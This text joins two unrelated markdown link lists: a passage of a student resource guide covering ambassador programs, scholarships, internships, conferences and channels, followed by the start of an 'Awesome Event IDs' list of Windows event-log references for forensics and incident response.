8. [HackerEarth Campus Ambassador](https://hackerearth.com)
9. [HackerRank Campus Ambassador](https://hackerrank.com)
10. [Interviewbit Campus Ambassador](https://www.interviewbit.com/pages/campus-ambassador/)
11. [Dell Campassadors Program](https://dellfuturist.com/the-dell-campassadors-program)
12. [Intel Ambassador Program](https://software.intel.com/en-us/ai-academy/ambassadors/apply)
13. [Codechef Campus Ambassador](https://www.codechef.com/)
14. [Ingressive Campus Ambassador](https://www.ingressive.co/ingressive-campus-ambassadors/)
15. [Mozilla Student Ambassador](https://www.mozilla.org/en-US/contribute/studentambassadors/)
16. [Frontbench Campus Ambassador](https://frontbench.xyz/campus-connect)
17. [Codechef Campus Ambassador](https://www.codechef.com/college-chapter/about)
18. [AWS Educate(Amazon)](https://aws.amazon.com/education/awseducate/students/ "AWS")
19. [Codementor for Students](https://www.codementor.io/students)
20. [Geeksforgeeks Campus Ambassador Program](https://www.geeksforgeeks.org/campus-ambassador-program-by-geeksforgeeks/)
## Student Benefits and Packs :v:
1. [GitHub Student Developer Pack - Free Resources for Students](https://education.github.com/pack)
2. Microsoft students:
- [Visual Studio Essentials - Access to Microsoft Premium Services ](https://visualstudio.microsoft.com/dev-essentials/)
- [Microsoft Imagine Pack - Tools and subscriptions for Students](https://imagine.microsoft.com/en-us/catalog)
- [Microsoft Azure - $100 Azure credit for students](https://azure.microsoft.com/en-gb/free/students/)
- [Free Microsoft Office 365 for Students](https://www.microsoft.com/en-us/education/products/office/default.aspx)
3. [JetBrains Students pack](https://www.jetbrains.com/student/)
4. [AWS Educate](https://aws.amazon.com/education/awseducate/)
5. [Google Cloud](https://cloud.google.com/free/)
6. [Intel Developer pack](https://software.intel.com/en-us/ai-academy/ambassadors/apply)
7. [Google Reskilling India Program | Pluralsight](https://www.pluralsight.com/partners/google/)
8. [Free .tech domain for 1 year | dot tech Domains](https://get.tech/students)
9. [Free Web Hosting for 1 year | Znetlive](https://www.znetlive.com/student-web-hosting/)
10. [Bitbucket Education](https://bitbucket.org/product/education)
11. [Namecheap free .name Domain](https://nc.me/)
12. [Autodesk Education software for students](https://www.autodesk.com/education/free-software/featured)
13. [Invision Free app for Education](https://www.invisionapp.com/education-signup)
14. [Canvas File Sync](https://github.com/drew-royster/canvasFileSync)
## Student Fellowship Programs :v:
1. [University Innovation Fellowship - Stanford University](http://universityinnovationfellows.org/)
1. [Teach for India Fellowship](https://apply.teachforindia.org/)
2. [Young India Fellowship]()
3. [Urban Leaders Fellowship](http://www.urbanleadersfellowship.org/)
4. [Facebook fellowship Program - **Only For PHD Scholars**]()
5. [Legislative Assistants to Members of Parliament (LAMP) Fellowship](http://lamp.prsindia.org/thefellowship)
6. [Prime Minister’s Rural Fellowship]()
7. [Azim Premji Foundation Fellowship Program]()
8. [Stanford-ABC News Global Health and Media Fellowship]()
## Scholarships :runner:
1. [Pytorch Scholarship Challenge - Udacity](https://blog.udacity.com/2018/10/introducing-the-pytorch-scholarship-challenge-from-facebook.html) Application Deadline - **October 23rd** 9:30PM PST
2. [Grants, Awards AND Opportunities For Indian/Canadian Scholars](https://www.shastriinstitute.org/grants-awards-and-opportunities-for-indian-canadian-scholars)
3. [Facebook Developer Circle Scholarship Program - DataScience/Frontend Dev](http://bit.ly/DevCTrainingInterest1)
4. [Coding Bootcamp Scholarships - Course Report](https://www.coursereport.com/blog/the-definitive-list-of-programming-bootcamp-scholarships)
5. [Apple WWDC Scholarship](https://developer.apple.com/wwdc19/scholarships/) Application Deadline - **Mid-April**
6. [Technology Scholarship Program - Udacity](https://www.udacity.com/bertelsmann-data-scholarships) Application deadline - **November 6th, 2019**
7. [Goldman Sachs Global Scholarship and Mentorship Program](https://www.iie.org/Programs/WeTech/STEM-Scholarships-for-Women/Goldman-Sachs-Scholarship) Applications are welcomed in December - January period.
8. [Grace Hoppers Conference Program](https://ghc.anitab.org/2019-student-academic/scholarships/) Applications are opened in mid-January.
9. [Facebook Grace Hopper Scholarship 2019](https://www.facebook.com/scholarcorner/posts/2323154047763329?comment_tracking=%7B%22tn%22%3A%22O%22%7D) Applications are opened in March - April before the registration for GHC starts.
10. [Venkat Panchapakesan Memorial Scholarship](https://buildyourfuture.withgoogle.com/scholarships/venkat-panchapakesan-memorial-scholarship/#!?detail-content-tabby_activeEl=overview) Applications are opened in the period between May and August every year.
11. [Women Techmakers Scholars Program](https://www.womentechmakers.com/scholars) Applications are opened in June-July every year.
12. [GHC India Student Scholarships](https://ghcindia.anitab.org/ghci-19-student-scholarships-2/) Applications are opened in the months of May - June every year.
13. [Adobe India Women-in-Technology Scholarship](https://research.adobe.com/adobe-india-women-in-technology-scholarship/) Application are opened in September - October every year.
14. [Microsoft Scholarship Program](https://careers.microsoft.com/students/us/en/usscholarshipprogram) **Applications open in October 2019!**
15. [Udacity - Bertelsmann Technology Scholarships Program](https://www.udacity.com/bertelsmann-tech-scholarships) **Application deadline - November 16th, 2020**
16. [ONGC Foundation](https://ongcscholar.org/) Applications open every year
---
# 4. Open Source Programs
> **For more Detailed Information about the GSOC Organization** - [Click Here](https://github.com/dipakkr/A-to-Z-Resources-for-Students/blob/master/GSOC.md)
|Id |Name | Organization| Stipend/Incentives |Timeline | Deadline |
|-|--|---- |---|---| ------ |
|1| [Google Summer of Code](https://summerofcode.withgoogle.com/)| Google| YES| - |- |
|2| [Rails Girls Summer Of Code](https://railsgirlssummerofcode.org/)| Global | Yes|- | - |
|3| [Radare Summer of Code](https://rada.re/rsoc) | - | - | - |
|4| [DataONE Summer Internship Program](https://www.dataone.org/internships) | DataONE | - | - | - |
|5| [BOSS](http://pennapps.com/)| Coding Blocks, INDIA| YES |- | - |
|6| [GirlScript Summer of Code](https://gssoc.girlscript.tech/#) | - | Prizes & Goodies | - | - |
|7| [Season of KDE](https://season.kde.org) | KDE | Prizes | - | - |
|8| [The X.Org Endless Vacation of Code](https://season.kde.org) | X.Org | Yes | -| - |
|9| [Free Software Foundation internships](https://www.fsf.org/volunteer/internships) | Free Software Foundation | NO | - | - |
|10| [Outreachy](https://www.outreachy.org/) | | Yes | -| - |
|11| [GSSOC(GirlScript Summer of Code)](https://gssoc.girlscript.tech/)| GirlScript Foundation | For top 50 | - | - |
> **For More Open Source Competitons and Programs** - [Click Here](https://github.com/tapasweni-pathak/SOC-Programs) <br />
> **For more detailed information about the GSOC Organization** - [Click Here](https://github.com/dipakkr/A-to-Z-Resources-for-Students/blob/master/GSOC.md) <br />
---
# 5. Startup Programs and Incubators :mag_right:
|Id |Name | Organization|
|-|--|---- |
|1| [Amity Innovation Incubator](http://www.amity.edu/) | Amity University |
|2| [Atal Incubation Centre](http://www.aim.gov.in/) | Government |
|3| [Google LaunchPad Accelerator](https://developers.google.com/programs/launchpad/accelerators/) | Google |
|4| [Startup Village](https://www.sv.co/) | SV.CO |
|5| [T HUB ](https://t-hub.co/) | - |
|6| [Atal Innovation challenge](http://aim.gov.in/overview.php) | NITI, AYOG |
|7| [Global Entrepreneurship Bootcamp](https://gebootcamp.com/) | Malaysia |
|8| [Inova Metrópole](https://inova.imd.ufrn.br/parque/inova/) | IMD/UFRN, Brazil |
---
# 6. Internship Programs
## Internships
1. [Cisco International Internship Program](https://www.myciip.com/)
2. [Sakae Japan Internship Program: SJIP](https://japan-internships.com/)
3. [Student Training in Engineering Program: Google STEP](https://buildyourfuture.withgoogle.com/programs/step/)
4. [Summer Student Opportunities](https://home.cern/summer-student-programme)
## Internship Portals
> For summer internship, start looking at least 3-4 months in advance. #Tip
1. [Angel List](https://angel.co)
2. [Internshala](https://internshala.com)
3. [Vettery](https://www.vettery.com/)
4. [LinkedIn](https://linkedin.com) *Contact HRs on LinkedIn*
6. [Hackkar](https://hackkar.com/)
7. [LetsIntern](https://www.letsintern.com)
8. [Intern Supply](https://intern.supply/)
9. [Indeed](https://www.indeed.ca/)
---
# 7. Developer Clubs and Meetups
> ## **Take a moment to search for these clubs on Google and Facebook in your city.**
> ## **Check **Meetup.com** for more events in your locality**
|Id | Name Of The Community | Area |
|---|:---------------------------------------:|:--------:|
|1 | [Google Developer Group](https://developers.google.com/programs/community/gdg/)|All States|
|2 | [Mozilla Open Source Community](https://www.mozilla.org/en-US/moss/)|Delhi and Banglore |
|3 | [Mozilla Campus Clubs](https://campus.mozilla.community/)|-|
|4 | [Facebook Developer Circle](https://developers.facebook.com/developercircles)|Delhi|
|5 | [Women Tech Makers](https://womentechmakers.com)|-|
|6 | [Women Who Code](https://www.womenwhocode.com/)|-|
|7 | [Women In Tech](https://www.womenintechnology.org/)|-|
|8 | [Developers Student Club by Google](https://developers.google.com/training/programs/)|All Colleges accross India|
|9 | [Microsoft Student Technical Community](https://techcommunity.microsoft.com/)|-|
|10| [Paytm Build for India](https://www.meetup.com/en-AU/Paytm-Build-for-India/)|Delhi and Bangalore|
|11| [PyDelhi](https://www.meetup.com/pydelhi/events/254577423/)|Delhi|
|12| [Toastmaster International](https://www.toastmasters.org)|-|
|13| [Swift Users Group](https://www.meetup.com/topics/swift-language/?_cookie-check=a8aAkZ14Ew1b6cnt)|-|
|14| [MUG - MongoDB User Group](https://www.meetup.com/topics/mongodb/)|-|
|15| [Forloop Africa](https://forloop.africa)|-|
|16| [Women in Tech (Finland)](https://womenintech.fi/)|-|
|17| [HelsinkiJS](https://meetabit.com/communities/helsinkijs)|-|
|18| [100 Days of Code](https://www.100daysofcode.com/connect/)|Online|
|19| [Nerdzão Brazil](https://www.meetup.com/pt-BR/nerdzao/)|-|
|20| [Girl Develop It](https://www.girldevelopit.com/chapters)|-|
|21| [R-Ladies](https://rladies.org/)|-|
|22| [India Linux Users Group Delhi](https://www.linuxdelhi.org/)|Delhi|
|23| [PyLadies](https://www.pyladies.com/)|Delhi|
|24| [PyData Delhi](https://pydata.org/delhi2018/)|Delhi|
|25| [LinuxChix](https://www.linuxchix.org/)|Delhi|
|26| [Owasp](https://www.owasp.org/index.php/Jaipur)|Jaipur|
|27| [ACM Student Chapter](https://acm.org/)|All Colleges Worldwide|
---
# 8. Conferences :bookmark_tabs:
> ### **Tech, Entrepreneurship Events and Conferences**
|Id | Name | Place | Travel Reimbursement | Timeline | Deadline | Type |
|--|------ |---|---|:------ |:----|:-----|
|1 | [Developer Growth Summit 2022](https://www.codementor.io/events/developer-growth-summit) | Global | No | April 20, 2022 | April 21, 2022 | No | - |
|2 | [PyCon US-Python Conference USA](https://us.pycon.org/2022/) | Salt Lake City, USA | No | April 27, 2022 | May 3, 2022 | Python |
|3| [World Business Dialogue](https://www.world-business-dialogue.com/)| Global | Yes | June 6, 2022 | June 20, 2022 | - | Business |
|4 | [Asia Pacific Week](http://asiapacificweek.anu.edu.au/) | Australia | Partial | June 20, 2022 | June 23, 2022 | - |
|5 | [AWS Summit, New Dehli](https://aws.amazon.com/events/summits/new-delhi/) | India | No | Sept 9, 2022 | - | - |
|6 | [Grace Hopper Conference and Fellowship](https://ghc.anitab.org) | Orlando, FL, USA | Yes | Sept 20, 2022 | Sept 23, 2022 | - |
|7 | [TechCrunch Disrupt](https://techcrunch.com/events/tc-disrupt-2022/) | USA | No | Oct 18, 2022 | Oct 20, 2022 | - |
|8 | [Dublin Web Summit](https://websummit.net/) | Dublin | No | Nov 1, 2022 | Nov 4, 2022 | Web |
|9 | [Web Summit](https://websummit.com/) | Lisbon | - | Nov 1, 2022 | Nov 4, 2022 | - | - |
|10 | [Clinton Global Initiative University](http://www.cgiu.org/) | USA | - | Varies | Varies | - |
|11 | [ODSC](https://odsc.com/) | Global | Varies | Varies | - | AI |
|12 | [Business Today Conference](https://businesstoday.org/conferences/)| New York | Yes | PASSED | Business |
|13 | [DotJS](https://www.dotjs.io/) | France | - | PASSED | JS |
|14 | [PyCon](https://www.pycon.fr/2018/) | France | - | PASSED | Python |
|15 | [React Europe](https://www.react-europe.org/) | France | - | PASSED | - | JS |
|16 | [Harvard Project for Asian and International Relations](https://www.hpair.org/) | Malaysia | Yes | PASSED | - | - |
|17 | [Student Leadership conference](https://studentleadershipconference.com/) | USA | Yes | PASSED | - | - |
|18 | [Hackference India ](https://hackference.in/) | India | No | PASSED | - |
|19 | [JavaLand](https://www.javaland.eu/en/home/) | Germany | - | PASSED | - | Lectures, Trainings, Community Activities |
|20 | [WWDC (Apple World Wide Developer Conference)](https://wwdc.apple.com) | San Jose, USA | Can Apply | PASSED | - | Apple new technology launch events, Swift |
## Data Science Conferences in 2019 and 2020
| Conference | Location | Date |
|:--- |:--- |:--- |
| [Predictive Analytics World](http://www.predictiveanalyticsworld.com) | Las Vegas, USA | May 31-June 4, 2020 |
| [Strata Data Conference](http://conferences.oreilly.com/strata)| USA, UK | 20 Apr - 23 Apr 2020 (Varies) |
| [Open Data Science Conference](https://www.odsc.com) | UK, USA | Varies |
| [Big Data Analytics Tokyo](www.bigdatacon.jp) | Tokyo, Japan | 28 Oct- 8 Noc 2019 |
| [IBM think 2019](https://www.ibm.com/events/think/index.html) | Las Vegas, USA | 4-7 May 2020 |
| [MLConf](http://mlconf.com) | San Francisco, USA | 8 Nov 2019 |
| [KDD](https://www.kdd.org/kdd2018/) | London | 22-27 Aug 2020 |
| [AI Conf](https://conferences.oreilly.com/artificial-intelligence) | SanJose/Beijing/NY/London | Aug 2020 |
| [ICSESS](http://www.icsess.org) | Beijing, China | October 18-20, 2019 |
---
# 9. Top People to Follow
|Id | Name | Category|
|--|------ |---|
|1 |[Aaron Gable](https://github.com/aarongable) | Google Chrome Developer (BR) |
|2 |[Addy Osmani](https://github.com/addyosmani) | Web & Chrome |
|3 |[Andrew NG](https://www.linkedin.com/in/andrewyng/) | AI & ML |
|4 |[Benjamin Pasero](https://twitter.com/benjaminpasero) | Software engineer at Microsoft, VSCode |
|5 |[Brad Traversy](https://www.youtube.com/user/TechGuyWeb) | Web Developer, Programmer, YouTuber |
|6 |[Daniel Shiffman](https://shiffman.net/) | Programmer / Former project lead with the [Processing Foundation](https://processing.org/) |
|7 |[Evan You](https://twitter.com/youyuxi) | Creator of Vue.js |
|8 |[Giovanni Bassi](https://github.com/giggio) | MVP Microsoft BR |
|9 |[Guido van Rossum](https://gvanrossum.github.io/) | Python Creator |
|10 |[Isaac Schlueter](https://twitter.com/izs) | npm Creator |
|11 |[Jake Vanderplas](https://github.com/jakevdp) | Python Data Science |
|12 |[Jen Simmons](https://twitter.com/jensimmons) | CSS expert, creator of Firefox Grid Inspector. |
|13 |[John Resig](https://twitter.com/jeresig) | Creator of jQuery |
|14 |[Joy Buolamwini](https://www.poetofcode.com/) | Artificial intelligence, Algorithmic Justice League |
|15|[Kyle Simpson](https://twitter.com/getify) | Author of YDKJS |
|16 |[Leonardo Maldonado](https://github.com/leonardomso) | Top 2 developerTrending (BR) |
|17 |[Linus Torvalds](https://github.com/torvalds) | Linux Founder|
|18 |[Martin Fowler](https://twitter.com/martinfowler) | Software developer |
|19 |[Mike Cohn](https://twitter.com/mikewcohn) | Scrum and Agile Advocate |
|20 |[Mohamed Said](https://twitter.com/themsaid) | Works with Taylor Otwell on Laravel |
|21 |[Paul Graham](http://www.paulgraham.com/) | Startup Expert, Founder of Y-Combinator |
|22 |[Quincy Larson](https://twitter.com/ossia) | Teacher that started free code camp |
|23 |[Rebecca Parsons](https://twitter.com/rebeccaparsons) | Distributed computation, Genetic algorithms, and computational science |
|24 |[Richard Stallman](https://stallman.org/) | Founder of the GNU Project |
|25 |[Ryan Dahl](https://github.com/ry) | Inventor of Node.js |
|26 |[Sandi Metz](https://www.sandimetz.com/) | Software developer and author focused on writing flexible object-oriented code |
|27 |[Siraj Raval](https://www.youtube.com/channel/UCWN3xxRkmTPmbKwht9FuE5A) | AI & ML |
|28 |[Tarry Singh](https://www.linkedin.com/in/tarrysingh/) | AI & ML |
|29 |[Taylor Otwell](https://twitter.com/taylorotwell) | Creator of Laravel |
|30 |[Uncle Bob Martin](https://twitter.com/unclebobmartin) | Software developer |
|31 |[Valentin Shergin](http://twitter.com/shergin) | React Native Developer |
|32 |[Valeri Karpov](https://thecodebarbarian.wordpress.com/about/) | MEAN stack expert |
|33 |[Vaughn Vernon](https://vaughnvernon.co/) | Domain Driven Design expert |
|34 |[Victor Savkin](https://twitter.com/victorsavkin) | Angular Developer |
|35 |[Vincent Boucher](https://www.linkedin.com/in/montrealai) | AI & ML |
|36 |[Yann LeCun](https://www.facebook.com/yann.lecun) | VP & Chief AI Scientist at Facebook |
|37 |[Yukihiro Matsumoto](https://twitter.com/yukihiro_matz) | Ruby Creator |
|38 |[Jacob Appelbaum](https://twitter.com/ioerror) | Computer Security Researcher |
---
# 10. Top Websites to Follow
1. **Data Science**
- [Data Science Courses: R & Python Analysis Tutorials | DataCamp](http://www.datacamp.com/courses)
- [CSE-109 - Harvard University](http://cs109.github.io/2015/)
- [CSE231N - Computer Vision Stanford University](http://cs231n.stanford.edu/)
- [Developer Circles Data Resources](https://www.developercircleresources.com/learningPath/data/)
- [Kaggle Learn](https://www.kaggle.com/learn/overview)
- [DataTau: The data science equivalent of Hacker News](http://www.datatau.com/news)
- [Towards AI](https://towardsai.net/)
- [Analytics Vidhya](https://www.analyticsvidhya.com/)
- [Towards Data Science](https://towardsdatascience.com/)
- [Real Python](https://realpython.com/tutorials/data-science/)
- [Edureka](https://www.edureka.co/blog/category/data-science/)
- [KD nuggets](https://www.kdnuggets.com/)
- [Elements of AI](https://www.elementsofai.com/)
- [Google ML Crash Course](https://developers.google.com/machine-learning/crash-course)
- [Data Science-InterviewBit](https://www.interviewbit.com/data-science-interview-questions/)
2. **Startup News and Stories**
- [YCombinator’s Hacker News](https://news.ycombinator.com/)
- [YourStory](https://yourstory.com/)
- [Entrepreneur.com](https://www.entrepreneur.com/)
- [TechCrunch - Tech and Startup News](https://techcrunch.com/)
- [ProductHunt](https://producthunt.com)
- [The Hustle](https://thehustle.co/)
3. **Computer science in general**
- [All about computer science](https://www.computerscience.org/)
# 11. Top 50 YouTube Channels to Follow
## 11.1 Top 10 in Technology
|Sr. No. | Channel | No. of Subscribers |
| --- | ------------- | ----- |
|1 | [MIT OpenCourseWare](https://www.youtube.com/user/MIT/about) | 2.1M |
|2 | [freeCodeCamp.org](https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ/about) | 1.32M |
|3 | [BostonDynamics](https://www.youtube.com/user/BostonDynamics/about) | 1.55M |
|4 | [CS Dojo](https://www.youtube.com/channel/UCxX9wt5FWQUAAz4UrysqK9A/about) | 1.1M |
|5 | [Computerphile](https://www.youtube.com/user/Computerphile/about) | 1.47M |
|6 | [sentdex](https://www.youtube.com/user/sentdex/about) | 734K |
|7 | [Nptel](https://www.youtube.com/user/nptelhrd/about) | 1.57M |
|8 | [Code Bullet](https://www.youtube.com/channel/UC0e3QhIYukixgh5VVpKHH9Q/about) | 1.63M |
|9 | [NumberPhile](https://www.youtube.com/user/numberphile/about) | 3.04M |
|10 | [CppCon](https://www.youtube.com/user/CppCon/about) | 62.9K |
---
## 11.2 Top 10 in Startup
|Sr. No. | Channel | No. of Subscribers |
| --- | -------------- | ------ |
|1 | [TED](https://www.youtube.com/user/TEDtalksDirector/about) | 15M |
|2 | [Tai Loapez](https://www.youtube.com/user/tailopezofficial/about) | 1.31M |
|3 | [This Week in Startups](https://www.youtube.com/user/ThisWeekIn/about) | 131K |
|4 | [Google Small Business](https://www.youtube.com/user/GoogleBusiness/about) | 274K |
|5 | [How to Start a Startup](https://www.youtube.com/channel/UCxIJaCMEptJjxmmQgGFsnCg/feed) | 100K |
|6 | [Tim Ferriss](https://www.youtube.com/user/masterlock77/about) | 486K |
|7 | [Naval Ravikant](https://www.youtube.com/channel/UCh_dVD10YuSghle8g6yjePg/about) | 39.8K |
|8 | [Y Combinator](https://www.youtube.com/channel/UCcefcZRL2oaA_uBNeo5UOWg/about) | 198K |
|9 | [Startup Authority](https://www.youtube.com/channel/UCwHZNWLHHT9RlW4F80a9byQ/about) | 634K |
|10 | [Startup Grind](https://www.youtube.com/user/StartupGrind/about) | 45.1K |
---
## 11.3 Top 10 in Design
|Sr. No. | Channel | No. of Subscribers |
| --- | -------------- | ----- |
|1 | [tutvid](https://www.youtube.com/user/tutvid/about) | 936K |
|2 | [The Futur](https://www.youtube.com/user/TheSkoolRocks/about) | 591K |
|3 | [Spoon Graphics](https://www.youtube.com/channel/UC_mkC8ChfzCJcuSqSMwvUWw/about) | 300K |
|4 | [Will Paterson](https://www.youtube.com/user/breakdesignsco/about) | 352K |
|5 | [Skillshare](https://www.youtube.com/user/Skillshare/about) | 189K |
|6 | [Yes I am a Designer](https://www.youtube.com/user/perhiniak/about) | 191K |
|7 | [Gigantic](https://www.youtube.com/channel/UCX4mqbvv5lGqLpI4FYlJt4w/about) | 157K |
|8 | [Matt Borchert](https://www.youtube.com/user/ovenrude/about) | 66K |
|9 | [CharliMarieTV](https://www.youtube.com/user/charlimarieTV/about) | 141K |
|10 | [Mike Locke](https://www.youtube.com/user/mlwebco/about) | 90.8K |
---
## 11.4 Top 10 in Business
|Sr. No. | Channel | No. of Subscribers |
| --- | -------------- | ----- |
|1 | [Business Insider](https://www.youtube.com/user/businessinsider/about) | 2.09M |
|2 | [GaryVee](https://www.youtube.com/user/GaryVaynerchuk/about) | 2.33M |
|3 | [Entrepreneur](https://www.youtube.com/user/EntrepreneurOnline/about) | 512K |
|4 | [Brian Tracy](https://www.youtube.com/user/BrianTracySpeaker/about) | 898K |
|5 | [Marie Forleo](https://www.youtube.com/user/marieforleo/about) | 590K |
|6 | [Stanford Business](https://www.youtube.com/user/stanfordbusiness/about) | 745K |
|7 | [Grant Cardone](https://www.youtube.com/user/GrantCardone/about) | 1.2M |
|8 | [Young Entrepreneurs Forum](https://www.youtube.com/channel/UCydShVfAub9TSmL1N4BTlGQ/about) | 548K |
|9 | [Google Small Business](https://www.youtube.com/user/GoogleBusiness/about) | 274K |
|10 | [Business Casual](https://www.youtube.com/channel/UC_E4px0RST-qFwXLJWBav8Q/about) | 694K |
---
## 11.5 Top 10 in Finance
|Sr. No. | Channel | No. of Subscribers |
| --- | -------------- | ----- |
|1 | [Bloomberg TV Markets and Finance](https://www.youtube.com/channel/UCIALMKvObZNtJ6AmdCLP7Lg/about) | 413K |
|2 | [Financial Education](https://www.youtube.com/channel/UCnMn36GT_H0X-w5_ckLtlgQ/about) | 354K |
|3 | [MoneyTalks News](https://www.youtube.com/user/MoneyTalksNews/about) | 40.6K |
|4 | [The Financial Diet](https://www.youtube.com/channel/UCSPYNpQ2fHv9HJ-q6MIMaPw/about) | 712K |
|5 | [RICH TV LIVE](https://www.youtube.com/channel/UCrvJc8oOqtQf9MEs_UXsBMQ/about) | 21.8K |
|6 | [Ryan Scribner](https://www.youtube.com/channel/UC3mjMoJuFnjYRBLon_6njbQ/about) | 471K |
|7 | [Financial Times](https://www.youtube.com/user/FinancialTimesVideos/about) | 348K |
|8 | [BeatTheBush](https://www.youtube.com/user/TheBeatTheBush/about) | 267K |
|9 | [Finance Tube](https://www.youtube.com/user/FinanceTubebyVishalT/about) | 59.2K |
|10 | [Corporate Finance Institute](https://www.youtube.com/channel/UCGtbVv_ACgV7difdVZ92NMw/about) | 66.4K |
---
# 12. Additional Links
1. [Top 10 Startup Incubator in India](https://inc42.com/resources/top-20-startup-incubators-india/) - *Startup*
2. [The first 20 hours -- how to learn anything](https://www.youtube.com/watch?v=5MgBikgcWnY) - *Learning*
3. [Are you Introvert? Watch this - Power of Introverts ](https://www.youtube.com/watch?v=c0KYU2j0TM4) - *Self Introspection*
4. [30 International Scholarships offered by the World’s Top Universities](http://www.scholars4dev.com/13300/international-scholarships-top-universities-world/) - *Scholarships*
5. [30 Famous Books that You Will Regret Not Reading!](https://bornrealist.com/famous-books/) - *Reading*
6. [Startup Ideas By Y Combinator](https://www.ycombinator.com/rfs/) - *Startup*
7. [Epicodus Coding Bootcamp Full Curriculum](https://www.learnhowtoprogram.com/tracks) - *Learning*
8. [5 most common misconceptions about studying abroad among Indians](https://www.wemakescholars.com/blog/common-misconceptions-about-studying-abroad/) *Study Abroad*
9. [App Academy - Full Stack Coding Bootcamp, Free Curriculum](https://open.appacademy.io/#free)
10. [Path to a free self-taught education in Computer Science](https://github.com/ossu/computer-science) - *Learning*
11. [Free Women-Only Mentorship Program](https://www.builtbygirls.com/programs/wave) - *Learning*
# 13. Coding Bootcamps
|Id | Name | Track | Description | Country |
|--|------ |---| --- | ---- |
|1 | [Lambda School](https://lambdaschool.com/) | FullStack, Data Science, Android, iOS | No Upfront Fees, Pay 17.5% of salary only when you get a job | USA |
|2 | [SpringBoard](https://www.springboard.com/) | DataScience | 2 Year experience as Software Dev, Only Pay if you get a Job | USA, India |
| 3| [Pesto Tech](https://pesto.tech)| FullStack JavaScript | 2 Year experience as Software Dev, Only pay 17.5 % of salary when you get more than 15LPA | India
| 4| [InterviewBit Academy](https://www.interviewbit.com/academy/)| Software Developer | No Experience Required, 6 month online trainging, Only Pay when you get a Job | India
| 5| [General Assembly](https://generalassemb.ly)| Software Developer, Data Science, Android, iOS, Design | On Campus and fully remote options, both part-time and full-time | US and International
| 6| [Coding Dojo](https://www.codingdojo.com)| Software Developer, Data Science | Remote and On Campus options, Software dev teaches 3 full stacks | US and International
# 14. Miscellaneous Resources
## 14.1 Design Resources
- **Youtube Channels & Playlists**
- [Beginners Guide to Graphic Design | 45 episode series](https://www.youtube.com/watch?v=WONZVnlam6U&list=PLYfCBK8IplO4E2sXtdKMVpKJZRBEoMvpn) *Playlist* :baby:
- [Mohamed Achraf](https://www.youtube.com/channel/UCF6WjcZeVqy3MLBpp86eOyw) *Great tutorials for Logo Designing*
- [Dansky](https://www.youtube.com/user/ForeverDansky) *All about Graphic Designing*
- [DesignCourse](https://www.youtube.com/user/DesignCourse)
## 14.2 Podcasts
- **Technology**
- Code Newbie
- The Bike Shed
- Soft Skills Engineering
- Programming Throwdown
- Hanselminutes
- **Startup and Entrepreneurship**
- StartUp
- How I Built This
- The Pitch
- The Growth Show
- Scrum master toolbox
- **Life**
- Unf*ck your brain
- By the Book
- Strength and Scotch
- Happier with Gretchen Rubin
- The Minimalists
- **Other**
- Tracks to Relax
- Unladylike
## 15. Top sites for Aptitude Preparion for Placements
- [IndiaBix.com](https://indiabix.com)
- [Testpot.com](https://testpot.com)
- [Freedu.in](https://freedu.in)
- [Sawaal.com](https://sawaal.com)
## 16. Maintainers
[Ayush Gupta](https://github.com/siAyush)
[Deepak Kumar](https://github.com/dipakkr)
[](https://github.com/ellerbrock/open-source-badges/)
<a href="https://github.com/dipakkr/A-to-Z-Resources-for-Students/blob/master/LICENSE"><img src="https://img.shields.io/github/license/dipakkr/A-to-Z-Resources-for-Students"></a>
----
|
# Awesome Event IDs
> Collection of Event ID resources useful for Digital Forensics and Incident Response
In incidents, analysts are often faced with the problem of interpreting unknown event IDs.
The event itself does not always contain the desired information.
In addition, it is impossible to remember them all, given the huge number of event IDs and log sources.
## Contents
- [Awesome Event IDs](#awesome-event-ids)
- [Contents](#contents)
- [Resources](#resources)
- [Event ID databases](#event-id-databases)
- [Event ID documentation](#event-id-documentation)
- [Event ID configuration and monitoring suggestions](#event-id-configuration-and-monitoring-suggestions)
- [Event ID analysis](#event-id-analysis)
- [Contributing](#contributing)
## Resources
### Event ID databases
- [EventID.net](http://www.eventid.net/search.asp) - Database
- [MyEventlog.com](https://www.myeventlog.com/) - Database
- [EventTracker Knowledgebase](https://kb.eventtracker.com/) - Database
### Event ID documentation
- [Kaspersky Security for Microsoft Exchange](https://support.kaspersky.com/KS4Exchange/9.6/en-US/127197.htm) - Official resource.
- [Microsoft Defender Antivirus](https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide#microsoft-defender-antivirus-event-ids) - Official resource.
- [Microsoft Windows Security Auditing](https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/security-auditing-overview) - Official resource.
- [Microsoft Windows Security Auditing by Randy Franklin Smith](https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/) - Better known as _Ultimate Windows Security_.
- [Notable Event IDs](https://github.com/TonyPhipps/SIEM/blob/master/Notable-Event-IDs.md) - Collection of common event IDs with descriptions.
- [Sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#events) - Official resource.
- [Symantec Endpoint Protection 14.0.X](https://knowledge.broadcom.com/external/article/170359/endpoint-protection-140x-event-log-entri.html) - Official resource.
- [Symantec Endpoint Protection Manager](https://knowledge.broadcom.com/external/article/157017/endpoint-protection-manager-event-log-en.html) - Official resource.
- [McAfee VirusScan Enterprise 8.x](https://kc.mcafee.com/corporate/index?page=content&id=KB54827) - VirusScan Enterprise entries in the Windows Application Event Log (Official resource).
- [Compilation of Event IDs](http://www.chicagotech.net/wineventid.htm) - Collection of event IDs from 1 to 9999 and above.
- [Events and Errors - Windows Server 2008](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/cc754424(v=ws.10)) - Collection of event IDs from different windows event source. Applies to Windows Server 2008 and similar. (Official resource)
- [Finding Forensic Goodness In Obscure Windows Event Logs](https://nasbench.medium.com/finding-forensic-goodness-in-obscure-windows-event-logs-60e978ea45a3) - List of lesser-known Event IDs.
### Event ID configuration and monitoring suggestions
- General
- [SIEM Tactics, Techniques, and Procedures](https://github.com/TonyPhipps/SIEM) - Comprehensive SIEM resources be TonyPhipps.
- [Windows Auditing Mindmap](https://github.com/mdecrevoisier/Windows-auditing-mindmap) - Set of Mindmaps providing a detailed overview of the different Windows auditing capacities and event log files.
- PowerShell
- [Script Block Logging](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.1#viewing-the-powershell-event-log-entries-on-windows) - Enable 4104.
